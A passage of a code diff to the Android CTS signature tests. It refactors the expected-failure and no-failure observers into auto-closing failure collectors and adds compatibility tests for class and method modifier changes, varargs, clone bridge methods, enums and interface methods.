-        clz = createClass("PublicApiClass");
-        addConstructor(clz);
-        // (omitted) addPublicVoidMethod(clz, "apiMethod");
-        addPublicBooleanField(clz, "apiField");
-
-        checkSignatureCompliance(clz, observer,
-                "android.signature.cts.tests.data.SystemApiClass",
-                "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
-        observer.validate();
+            checkSignatureCompliance(clz, observer,
+                    "android.signature.cts.tests.data.SystemApiClass",
+                    "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
+        }
     }
 
     /**
@@ -143,29 +141,27 @@
      */
     @Test
     public void testDetectUnauthorizedFieldApi() {
-        ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_FIELD);
+        try (ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_FIELD)) {
+            JDiffClassDescription clz = createClass("SystemApiClass");
+            addConstructor(clz);
+            addPublicVoidMethod(clz, "apiMethod");
+            // (omitted) addPublicBooleanField(clz, "apiField");
 
-        JDiffClassDescription clz = createClass("SystemApiClass");
-        addConstructor(clz);
-        addPublicVoidMethod(clz, "apiMethod");
-        // (omitted) addPublicBooleanField(clz, "apiField");
+            checkSignatureCompliance(clz, observer,
+                    "android.signature.cts.tests.data.PublicApiClass",
+                    "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
+        }
 
-        checkSignatureCompliance(clz, observer,
-                "android.signature.cts.tests.data.PublicApiClass",
-                "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
-        observer.validate();
+        try (ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_FIELD)) {
+            JDiffClassDescription clz = createClass("PublicApiClass");
+            addConstructor(clz);
+            addPublicVoidMethod(clz, "apiMethod");
+            // (omitted) addPublicBooleanField(clz, "apiField");
 
-        observer = new ExpectFailure(FailureType.EXTRA_FIELD);
-
-        clz = createClass("PublicApiClass");
-        addConstructor(clz);
-        addPublicVoidMethod(clz, "apiMethod");
-        // (omitted) addPublicBooleanField(clz, "apiField");
-
-        checkSignatureCompliance(clz, observer,
-                "android.signature.cts.tests.data.SystemApiClass",
-                "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
-        observer.validate();
+            checkSignatureCompliance(clz, observer,
+                    "android.signature.cts.tests.data.SystemApiClass",
+                    "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
+        }
     }
 
     /**
@@ -173,28 +169,27 @@
      */
     @Test
     public void testDetectUnauthorizedClassApi() {
-        ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_CLASS);
-        JDiffClassDescription clz = createClass("SystemApiClass");
-        addConstructor(clz);
-        addPublicVoidMethod(clz, "apiMethod");
-        addPublicBooleanField(clz, "apiField");
+        try (ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_CLASS)) {
+            JDiffClassDescription clz = createClass("SystemApiClass");
+            addConstructor(clz);
+            addPublicVoidMethod(clz, "apiMethod");
+            addPublicBooleanField(clz, "apiField");
 
-        checkSignatureCompliance(clz, observer,
-                "android.signature.cts.tests.data.PublicApiClass");
-        // Note that ForciblyPublicizedPrivateClass is now included in the runtime classes
-        observer.validate();
+            checkSignatureCompliance(clz, observer,
+                    "android.signature.cts.tests.data.PublicApiClass");
+            // Note that ForciblyPublicizedPrivateClass is now included in the runtime classes
+        }
 
-        observer = new ExpectFailure(FailureType.EXTRA_CLASS);
+        try (ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_CLASS)) {
+            JDiffClassDescription clz = createClass("PublicApiClass");
+            addConstructor(clz);
+            addPublicVoidMethod(clz, "apiMethod");
+            addPublicBooleanField(clz, "apiField");
 
-        clz = createClass("PublicApiClass");
-        addConstructor(clz);
-        addPublicVoidMethod(clz, "apiMethod");
-        addPublicBooleanField(clz, "apiField");
-
-        checkSignatureCompliance(clz, observer,
-                "android.signature.cts.tests.data.SystemApiClass");
-        // Note that ForciblyPublicizedPrivateClass is now included in the runtime classes
-        observer.validate();
+            checkSignatureCompliance(clz, observer,
+                    "android.signature.cts.tests.data.SystemApiClass");
+            // Note that ForciblyPublicizedPrivateClass is now included in the runtime classes
+        }
     }
 
     /**
@@ -243,44 +238,41 @@
      */
     @Test
     public void testDetectMissingAnnotation() {
-        ExpectFailure observer = new ExpectFailure(FailureType.MISSING_ANNOTATION);
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISSING_ANNOTATION)) {
+            JDiffClassDescription clz = createClass("PublicApiClass");
+            addConstructor(clz);
+            addPublicVoidMethod(clz, "apiMethod");
+            addPublicBooleanField(clz, "apiField");
+            addConstructor(clz, "int"); // this is not annotated
 
-        JDiffClassDescription clz = createClass("PublicApiClass");
-        addConstructor(clz);
-        addPublicVoidMethod(clz, "apiMethod");
-        addPublicBooleanField(clz, "apiField");
-        addConstructor(clz, "int"); // this is not annotated
+            checkSignatureCompliance(clz, observer,
+                    "android.signature.cts.tests.data.SystemApiClass",
+                    "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
+        }
 
-        checkSignatureCompliance(clz, observer,
-                "android.signature.cts.tests.data.SystemApiClass",
-                "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
-        observer.validate();
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISSING_ANNOTATION)) {
+            JDiffClassDescription clz = createClass("PublicApiClass");
+            addConstructor(clz);
+            addPublicVoidMethod(clz, "apiMethod");
+            addPublicBooleanField(clz, "apiField");
+            addPublicVoidMethod(clz, "privateMethod"); // this is not annotated
 
-        observer = new ExpectFailure(FailureType.MISSING_ANNOTATION);
+            checkSignatureCompliance(clz, observer,
+                    "android.signature.cts.tests.data.SystemApiClass",
+                    "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
+        }
 
-        clz = createClass("PublicApiClass");
-        addConstructor(clz);
-        addPublicVoidMethod(clz, "apiMethod");
-        addPublicBooleanField(clz, "apiField");
-        addPublicVoidMethod(clz, "privateMethod"); // this is not annotated
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISSING_ANNOTATION)) {
+            JDiffClassDescription clz = createClass("PublicApiClass");
+            addConstructor(clz);
+            addPublicVoidMethod(clz, "apiMethod");
+            addPublicBooleanField(clz, "apiField");
+            addPublicBooleanField(clz, "privateField"); // this is not annotated
 
-        checkSignatureCompliance(clz, observer,
-                "android.signature.cts.tests.data.SystemApiClass",
-                "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
-        observer.validate();
-
-        observer = new ExpectFailure(FailureType.MISSING_ANNOTATION);
-
-        clz = createClass("PublicApiClass");
-        addConstructor(clz);
-        addPublicVoidMethod(clz, "apiMethod");
-        addPublicBooleanField(clz, "apiField");
-        addPublicBooleanField(clz, "privateField"); // this is not annotated
-
-        checkSignatureCompliance(clz, observer,
-                "android.signature.cts.tests.data.SystemApiClass",
-                "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
-        observer.validate();
+            checkSignatureCompliance(clz, observer,
+                    "android.signature.cts.tests.data.SystemApiClass",
+                    "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
+        }
     }
 
     /**
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
index c4c87f5..c0f87e8 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
@@ -25,6 +25,8 @@
 import android.signature.cts.JDiffClassDescription;
 import android.signature.cts.ResultObserver;
 import android.signature.cts.tests.data.AbstractClass;
+import android.signature.cts.tests.data.AbstractClassWithCtor;
+import android.signature.cts.tests.data.ComplexEnum;
 import android.signature.cts.tests.data.ExtendedNormalInterface;
 import android.signature.cts.tests.data.NormalClass;
 import android.signature.cts.tests.data.NormalInterface;
@@ -68,19 +70,18 @@
 
     @Test
     public void testMissingClass() {
-        ExpectFailure observer = new ExpectFailure(FailureType.MISSING_CLASS);
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "NoSuchClass");
-        clz.setType(JDiffClassDescription.JDiffType.CLASS);
-        checkSignatureCompliance(clz, observer);
-        observer.validate();
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISSING_CLASS)) {
+            JDiffClassDescription clz = new JDiffClassDescription(
+                    "android.signature.cts.tests.data", "NoSuchClass");
+            clz.setType(JDiffClassDescription.JDiffType.CLASS);
+            checkSignatureCompliance(clz, observer);
+        }
     }
 
     @Test
     public void testSimpleConstructor() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
-        JDiffClassDescription.JDiffConstructor constructor =
-                new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PUBLIC);
+        JDiffClassDescription.JDiffConstructor constructor = ctor("NormalClass", Modifier.PUBLIC);
         clz.addConstructor(constructor);
         checkSignatureCompliance(clz);
         assertEquals(constructor.toSignatureString(), "public NormalClass()");
@@ -89,8 +90,7 @@
     @Test
     public void testOneArgConstructor() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
-        JDiffClassDescription.JDiffConstructor constructor =
-                new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PRIVATE);
+        JDiffClassDescription.JDiffConstructor constructor = ctor("NormalClass", Modifier.PRIVATE);
         constructor.addParam("java.lang.String");
         clz.addConstructor(constructor);
         checkSignatureCompliance(clz);
@@ -100,8 +100,7 @@
     @Test
     public void testConstructorThrowsException() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
-        JDiffClassDescription.JDiffConstructor constructor =
-                new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PROTECTED);
+        JDiffClassDescription.JDiffConstructor constructor = ctor("NormalClass", Modifier.PROTECTED);
         constructor.addParam("java.lang.String");
         constructor.addParam("java.lang.String");
         constructor.addException("android.signature.cts.tests.data.NormalException");
@@ -115,8 +114,7 @@
     @Test
     public void testPackageProtectedConstructor() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
-        JDiffClassDescription.JDiffConstructor constructor =
-                new JDiffClassDescription.JDiffConstructor("NormalClass", 0);
+        JDiffClassDescription.JDiffConstructor constructor = ctor("NormalClass", 0);
         constructor.addParam("java.lang.String");
         constructor.addParam("java.lang.String");
         constructor.addParam("java.lang.String");
@@ -196,6 +194,51 @@
         assertEquals(method.toSignatureString(), "public native void nativeMethod()");
     }
 
+    /**
+     * Check that a varargs method is treated as compliant.
+     */
+    @Test
+    public void testVarargsMethod() {
+        JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
+        JDiffClassDescription.JDiffMethod method = method("varargs",
+                Modifier.PUBLIC, "void");
+        method.addParam("java.lang.String...");
+        clz.addMethod(method);
+        assertEquals(method.toSignatureString(), "public void varargs(java.lang.String...)");
+
+        checkSignatureCompliance(clz);
+    }
+
+    /**
+     * Check that a clone method (which produces a special method that is marked as {@code bridge}
+     * and {@code synthetic}) is treated as compliant.
+     */
+    @Test
+    public void testCloneMethod() {
+        JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
+        // The generic method:
+        //     NormalClass clone() throws CloneNotSupportedException
+        JDiffClassDescription.JDiffMethod method = method("clone",
+                Modifier.PUBLIC, NormalClass.class.getName());
+        method.addException(CloneNotSupportedException.class.getName());
+        clz.addMethod(method);
+        assertEquals(method.toSignatureString(),
+                "public android.signature.cts.tests.data.NormalClass clone()"
+                        + " throws java.lang.CloneNotSupportedException");
+
+        // The synthetic bridge method:
+        //     Object clone() throws CloneNotSupportedException
+        method = method("clone",
+                Modifier.PUBLIC, Object.class.getName());
+        method.addException(CloneNotSupportedException.class.getName());
+        clz.addMethod(method);
+        assertEquals(method.toSignatureString(),
+                "public java.lang.Object clone()"
+                        + " throws java.lang.CloneNotSupportedException");
+
+        checkSignatureCompliance(clz);
+    }
+
     @Test
     public void testFinalField() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
@@ -281,15 +324,16 @@
 
     @Test
     public void testFieldValueChanged() {
-        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_FIELD);
-        JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "VALUE_FIELD", "java.lang.String",
-                Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC, "\"&#9992;\"");
-        clz.addField(field);
-        checkSignatureCompliance(clz, observer);
-        assertEquals(field.toSignatureString(), "public static final java.lang.String VALUE_FIELD");
-        observer.validate();
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_FIELD)) {
+            JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
+            JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                    "VALUE_FIELD", "java.lang.String",
+                    Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC, "\"&#9992;\"");
+            clz.addField(field);
+            checkSignatureCompliance(clz, observer);
+            assertEquals(field.toSignatureString(),
+                    "public static final java.lang.String VALUE_FIELD");
+        }
     }
 
     @Test
@@ -335,6 +379,25 @@
         assertEquals(clz.toSignatureString(), "public interface NormalInterface");
     }
 
+    /**
+     * Always treat interfaces as if they are abstract, even when the modifiers do not specify that.
+     */
+    @Test
+    public void testInterfaceAlwaysTreatAsAbstract() {
+        JDiffClassDescription clz = createInterface("NormalInterface");
+        clz.setModifier(Modifier.PUBLIC);
+        clz.addMethod(method("doSomething", Modifier.ABSTRACT | Modifier.PUBLIC, "void"));
+        checkSignatureCompliance(clz);
+    }
+
+    @Test
+    public void testComplexEnum() {
+        JDiffClassDescription clz = createClass(ComplexEnum.class.getSimpleName());
+        clz.setExtendsClass(Enum.class.getName());
+        clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
+        checkSignatureCompliance(clz);
+    }
+
     @Test
     public void testFinalClass() {
         JDiffClassDescription clz = new JDiffClassDescription(
@@ -345,6 +408,70 @@
         assertEquals(clz.toSignatureString(), "public final class FinalClass");
     }
 
+    @Test
+    public void testRemovingFinalFromAClass() {
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS)) {
+            JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
+            clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
+            checkSignatureCompliance(clz, observer);
+        }
+    }
+
+    @Test
+    public void testRemovingFinalFromAClass_PreviousApi() {
+        JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
+        clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
+        clz.setPreviousApiFlag(true);
+        checkSignatureCompliance(clz);
+    }
+
+    /**
+     * Test that if the API class is final but the runtime is abstract (and not final) that it is
+     * an error.
+     *
+     * http://b/181019981
+     */
+    @Test
+    public void testRemovingFinalFromAClassSwitchToAbstract() {
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS)) {
+            JDiffClassDescription clz = createClass(AbstractClass.class.getSimpleName());
+            clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
+            checkSignatureCompliance(clz, observer);
+        }
+    }
+
+    /**
+     * Test that if the API class in a previous release is final but the runtime is abstract (and
+     * not final) that it is not an error.
+     *
+     * http://b/181019981
+     */
+    @Test
+    public void testRemovingFinalFromAClassSwitchToAbstract_PreviousApi() {
+        JDiffClassDescription clz = createClass(AbstractClass.class.getSimpleName());
+        clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
+        clz.setPreviousApiFlag(true);
+        checkSignatureCompliance(clz);
+    }
+
+    /**
+     * Test that if the API class in a previous release is final but the runtime is abstract (and
+     * not final) and has constructors then it is an error.
+     * 
+     * http://b/181019981
+     */
+    @Test
+    public void testRemovingFinalFromAClassWithCtorSwitchToAbstract_PreviousApi() {
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS)) {
+            String simpleName = AbstractClassWithCtor.class.getSimpleName();
+            JDiffClassDescription clz = createClass(simpleName);
+            clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
+            clz.setPreviousApiFlag(true);
+            clz.addConstructor(ctor(simpleName, Modifier.PUBLIC));
+            checkSignatureCompliance(clz, observer);
+        }
+    }
+
     /**
      * Test the case where the API declares the method is synchronized, but it
      * actually is not.
@@ -396,10 +523,25 @@
      */
     @Test
     public void testRemovingAbstractFromAClass() {
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS)) {
+            JDiffClassDescription clz = new JDiffClassDescription(
+                    "android.signature.cts.tests.data", "NormalClass");
+            clz.setType(JDiffClassDescription.JDiffType.CLASS);
+            clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
+            checkSignatureCompliance(clz, observer);
+        }
+    }
+
+    /**
+     * Previous API lists class as abstract, reflection does not. http://b/1839622
+     */
+    @Test
+    public void testRemovingAbstractFromAClass_PreviousApi() {
         JDiffClassDescription clz = new JDiffClassDescription(
                 "android.signature.cts.tests.data", "NormalClass");
         clz.setType(JDiffClassDescription.JDiffType.CLASS);
         clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
+        clz.setPreviousApiFlag(true);
         checkSignatureCompliance(clz);
     }
 
@@ -408,10 +550,98 @@
      */
     @Test
     public void testAddingAbstractToAClass() {
-        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS);
-        JDiffClassDescription clz = createClass("AbstractClass");
-        checkSignatureCompliance(clz, observer);
-        observer.validate();
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS)) {
+            JDiffClassDescription clz = createClass("AbstractClass");
+            checkSignatureCompliance(clz, observer);
+        }
+    }
+
+    /**
+     * The current API lists the class as being final but the runtime class does not so they are
+     * incompatible.
+     */
+    @Test
+    public void testAddingFinalToAClass() {
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS)) {
+            JDiffClassDescription clz = createClass("FinalClass");
+            checkSignatureCompliance(clz, observer);
+        }
+    }
+
+    /**
+     * A previously released API lists the class as being final but the runtime class does not.
+     *
+     * <p>While adding a final modifier to a class is not strictly backwards compatible it is when
+     * the class has no accessible constructors and so cannot be instantiated or extended, as is the
+     * case in this test.</p>
+     */
+    @Test
+    public void testAddingFinalToAClassNoCtor_PreviousApi() {
+        JDiffClassDescription clz = createClass("FinalClass");
+        clz.setPreviousApiFlag(true);
+        checkSignatureCompliance(clz);
+    }
+
+    /**
+     * A previously released API lists the class as being final but the runtime class does not.
+     *
+     * <p>Adding a final modifier to a class is not backwards compatible when the class has some
+     * accessible constructors and so could be instantiated and/or extended, as is the case of this
+     * class.</p>
+     */
+    @Test
+    public void testAddingFinalToAClassWithCtor_PreviousApi() {
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS)) {
+            String simpleName = "FinalClassWithCtor";
+            JDiffClassDescription clz = createClass(simpleName);
+            clz.setPreviousApiFlag(true);
+            clz.addConstructor(ctor(simpleName, Modifier.PUBLIC));
+            checkSignatureCompliance(clz, observer);
+        }
+    }
+
+    /**
+     * The current API lists the class as being static but the runtime class does not so they are
+     * incompatible.
+     */
+    @Test
+    public void testAddingStaticToInnerClass() {
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS)) {
+            JDiffClassDescription clz = createClass("AbstractClass.StaticNestedClass");
+            checkSignatureCompliance(clz, observer);
+        }
+    }
+
+    /**
+     * A previously released API lists the class as being static but the runtime class does not.
+     *
+     * <p>While adding a static modifier to a class is not strictly backwards compatible it is when
+     * the class has no accessible constructors and so cannot be instantiated or extended, as is the
+     * case in this test.</p>
+     */
+    @Test
+    public void testAddingStaticToInnerClassNoCtor_PreviousApi() {
+        JDiffClassDescription clz = createClass("AbstractClass.StaticNestedClass");
+        clz.setPreviousApiFlag(true);
+        checkSignatureCompliance(clz);
+    }
+
+    /**
+     * A previously released API lists the class as being static but the runtime class does not.
+     *
+     * <p>Adding a static modifier to a class is not backwards compatible when the class has some
+     * accessible constructors and so could be instantiated and/or extended, as is the case of this
+     * class.</p>
+     */
+    @Test
+    public void testAddingStaticToInnerClassWithCtor_PreviousApi() {
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS)) {
+            String simpleName = "AbstractClass.StaticNestedClassWithCtor";
+            JDiffClassDescription clz = createClass(simpleName);
+            clz.setPreviousApiFlag(true);
+            clz.addConstructor(ctor(simpleName, Modifier.PUBLIC));
+            checkSignatureCompliance(clz, observer);
+        }
     }
 
     /**
@@ -430,17 +660,36 @@
     }
 
     /**
-     * Compatible (provide implementation for previous abstract method):
+     * Incompatible (provide implementation for abstract method):
      *
      * public abstract void Normal#notSyncMethod()
      * -> public void Normal#notSyncMethod()
      */
     @Test
     public void testRemovingAbstractFromMethod() {
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD)) {
+            JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
+            JDiffClassDescription.JDiffMethod method = method("notSyncMethod",
+                    Modifier.PUBLIC | Modifier.ABSTRACT, "void");
+            clz.addMethod(method);
+            checkSignatureCompliance(clz, observer);
+        }
+    }
+
+    /**
+     * A previously released API lists the method as being abstract but the runtime class does not.
+     *
+     * <p>While adding an abstract modifier to a method is not strictly backwards compatible it is 
+     * when the class has no accessible constructors and so cannot be instantiated or extended, as
+     * is the case in this test.</p>
+     */
+    @Test
+    public void testRemovingAbstractFromMethodOnClassNoCtor_PreviousApi() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffMethod method = method("notSyncMethod",
                 Modifier.PUBLIC | Modifier.ABSTRACT, "void");
         clz.addMethod(method);
+        clz.setPreviousApiFlag(true);
         checkSignatureCompliance(clz);
     }
 
@@ -456,8 +705,9 @@
         JDiffClassDescription.JDiffMethod method = method("finalMethod",
                 Modifier.PUBLIC | Modifier.ABSTRACT, "void");
         clz.addMethod(method);
-        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
-        checkSignatureCompliance(clz, observer);
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD)) {
+            checkSignatureCompliance(clz, observer);
+        }
     }
 
     /**
@@ -472,8 +722,9 @@
         JDiffClassDescription.JDiffMethod method = method("abstractMethod",
                 Modifier.PUBLIC, "void");
         clz.addMethod(method);
-        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
-        checkSignatureCompliance(clz, observer);
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD)) {
+            checkSignatureCompliance(clz, observer);
+        }
     }
 
     @Test
@@ -523,27 +774,56 @@
      */
     @Test
     public void testAddingFinalToAMethodInANonFinalClass() {
-        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
-        JDiffClassDescription clz = createClass("NormalClass");
-        JDiffClassDescription.JDiffMethod method = method("finalMethod", Modifier.PUBLIC, "void");
-        clz.addMethod(method);
-        checkSignatureCompliance(clz, observer);
-        observer.validate();
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD)) {
+            JDiffClassDescription clz = createClass("NormalClass");
+            JDiffClassDescription.JDiffMethod method = method("finalMethod", Modifier.PUBLIC,
+                    "void");
+            clz.addMethod(method);
+            checkSignatureCompliance(clz, observer);
+        }
     }
 
     @Test
     public void testExtendedNormalInterface() {
-        NoFailures observer = new NoFailures();
-        runWithApiChecker(observer, checker -> {
-            JDiffClassDescription iface = createInterface(NormalInterface.class.getSimpleName());
-            iface.addMethod(method("doSomething", Modifier.PUBLIC, "void"));
-            checker.addBaseClass(iface);
+        try (NoFailures observer = new NoFailures()) {
+            runWithApiChecker(observer, checker -> {
+                JDiffClassDescription iface = createInterface(
+                        NormalInterface.class.getSimpleName());
+                iface.addMethod(method("doSomething", Modifier.PUBLIC, "void"));
+                checker.addBaseClass(iface);
 
-            JDiffClassDescription clz =
-                    createInterface(ExtendedNormalInterface.class.getSimpleName());
-            clz.addMethod(method("doSomethingElse", Modifier.PUBLIC | Modifier.ABSTRACT, "void"));
-            clz.addImplInterface(iface.getAbsoluteClassName());
-            checker.checkSignatureCompliance(clz);
-        });
+                JDiffClassDescription clz =
+                        createInterface(ExtendedNormalInterface.class.getSimpleName());
+                clz.addMethod(
+                        method("doSomethingElse", Modifier.PUBLIC | Modifier.ABSTRACT, "void"));
+                clz.addImplInterface(iface.getAbsoluteClassName());
+                checker.checkSignatureCompliance(clz);
+            });
+        }
+    }
+
+    @Test
+    public void testAddingRuntimeMethodToInterface() {
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_INTERFACE_METHOD)) {
+            runWithApiChecker(observer, checker -> {
+                JDiffClassDescription iface = createInterface(
+                        ExtendedNormalInterface.class.getSimpleName());
+                iface.addMethod(method("doSomething", Modifier.PUBLIC | Modifier.ABSTRACT, "void"));
+                checker.checkSignatureCompliance(iface);
+            });
+        }
+    }
+
+    @Test
+    public void testAddingRuntimeMethodToInterface_PreviousApi() {
+        try (NoFailures observer = new NoFailures()) {
+            runWithApiChecker(observer, checker -> {
+                JDiffClassDescription iface = createInterface(
+                        ExtendedNormalInterface.class.getSimpleName());
+                iface.addMethod(method("doSomething", Modifier.PUBLIC | Modifier.ABSTRACT, "void"));
+                iface.setPreviousApiFlag(true);
+                checker.checkSignatureCompliance(iface);
+            });
+        }
     }
 }
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ApiPresenceCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ApiPresenceCheckerTest.java
index 9929c3e..b4ffe63 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/ApiPresenceCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/ApiPresenceCheckerTest.java
@@ -21,8 +21,13 @@
 import android.signature.cts.FailureType;
 import android.signature.cts.JDiffClassDescription;
 import android.signature.cts.ResultObserver;
+import java.io.PrintWriter;
+import java.io.StringWriter;
 import java.lang.reflect.Modifier;
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
 import java.util.function.Consumer;
 
 import org.junit.Assert;
@@ -83,9 +88,10 @@
 
     void checkSignatureCompliance(JDiffClassDescription classDescription,
             String... excludedRuntimeClassNames) {
-        ResultObserver resultObserver = new NoFailures();
-        checkSignatureCompliance(classDescription, resultObserver,
-                excludedRuntimeClassNames);
+        try (NoFailures resultObserver = new NoFailures()) {
+            checkSignatureCompliance(classDescription, resultObserver,
+                    excludedRuntimeClassNames);
+        }
     }
 
     void checkSignatureCompliance(JDiffClassDescription classDescription,
@@ -112,47 +118,106 @@
         return clz;
     }
 
+    protected static JDiffClassDescription.JDiffConstructor ctor(String name, int modifiers) {
+        return new JDiffClassDescription.JDiffConstructor(name, modifiers);
+    }
+
     protected static JDiffClassDescription.JDiffMethod method(
             String name, int modifiers, String returnType) {
         return new JDiffClassDescription.JDiffMethod(name, modifiers, returnType);
     }
 
-    protected static class NoFailures implements ResultObserver {
+    protected static class Failure {
+        private final FailureType type;
+        private final String name;
+        private final String errorMessage;
+        private final Throwable throwable;
+
+        public Failure(FailureType type, String name, String errorMessage, Throwable throwable) {
+            this.type = type;
+            this.name = name;
+            this.errorMessage = errorMessage;
+            this.throwable = throwable;
+        }
 
         @Override
-        public void notifyFailure(FailureType type, String name, String errmsg) {
-            Assert.fail("Saw unexpected test failure: " + name + " failure type: " + type
-                    + " error message: " + errmsg);
+        public String toString() {
+            String exception = "<none>";
+            if (throwable != null) {
+                StringWriter out = new StringWriter();
+                throwable.printStackTrace(new PrintWriter(out));
+                exception = out.toString();
+            }
+            return "Failure{" +
+                    "type=" + type +
+                    ", name='" + name + '\'' +
+                    ", errorMessage='" + errorMessage + '\'' +
+                    ", throwable=" + exception +
+                    '}';
         }
     }
 
-    protected static class ExpectFailure implements ResultObserver {
+    /**
+     * Collect failures and check them after the test has run.
+     *
+     * <p>Throwing an exception in the {@link #notifyFailure} method causes that exception to be
+     * reported as another failure which then fails again failing the test and losing information
+     * about the original exception.</p>
+     */
+    protected static abstract class FailureGathererObserver
+            implements ResultObserver, AutoCloseable {
 
-        private FailureType expectedType;
+        private final List<Failure> failures;
 
-        private boolean failureSeen;
+        public FailureGathererObserver() {
+            failures = new ArrayList<>();
+        }
+
+        @Override
+        public final void notifyFailure(FailureType type, String name, String errorMessage,
+                Throwable throwable) {
+            failures.add(new Failure(type, name, errorMessage, throwable));
+        }
+
+        @Override
+        public void close() {
+            checkFailures(failures);
+        }
+
+        public abstract void checkFailures(List<Failure> failures);
+    }
+
+    protected static class NoFailures extends FailureGathererObserver {
+
+        @Override
+        public void checkFailures(List<Failure> failures) {
+            Assert.assertEquals("Unexpected test failure", Collections.emptyList(), failures);
+        }
+    }
+
+    protected static class ExpectFailure extends FailureGathererObserver {
+
+        private final FailureType expectedType;
 
         ExpectFailure(FailureType expectedType) {
             this.expectedType = expectedType;
         }
 
         @Override
-        public void notifyFailure(FailureType type, String name, String errMsg) {
-            if (type == expectedType) {
-                if (failureSeen) {
-                    Assert.fail("Saw second test failure: " + name + " failure type: " + type);
-                } else {
-                    // We've seen the error, mark it and keep going
-                    failureSeen = true;
+        public void checkFailures(List<Failure> failures) {
+            int count = failures.size();
+            boolean ok = count == 1;
+            if (ok) {
+                Failure failure = failures.get(0);
+                if (failure.type != expectedType) {
+                    ok = false;
                 }
-            } else {
-                Assert.fail("Saw unexpected test failure: " + name + " failure type: " + type);
+            }
+
+            if (!ok) {
+                Assert.fail("Expect one failure of type " + expectedType + " but found " + count
+                        + " failures: " + failures);
             }
         }
-
-        void validate() {
-            Assert.assertTrue(failureSeen);
-        }
     }
-
 }
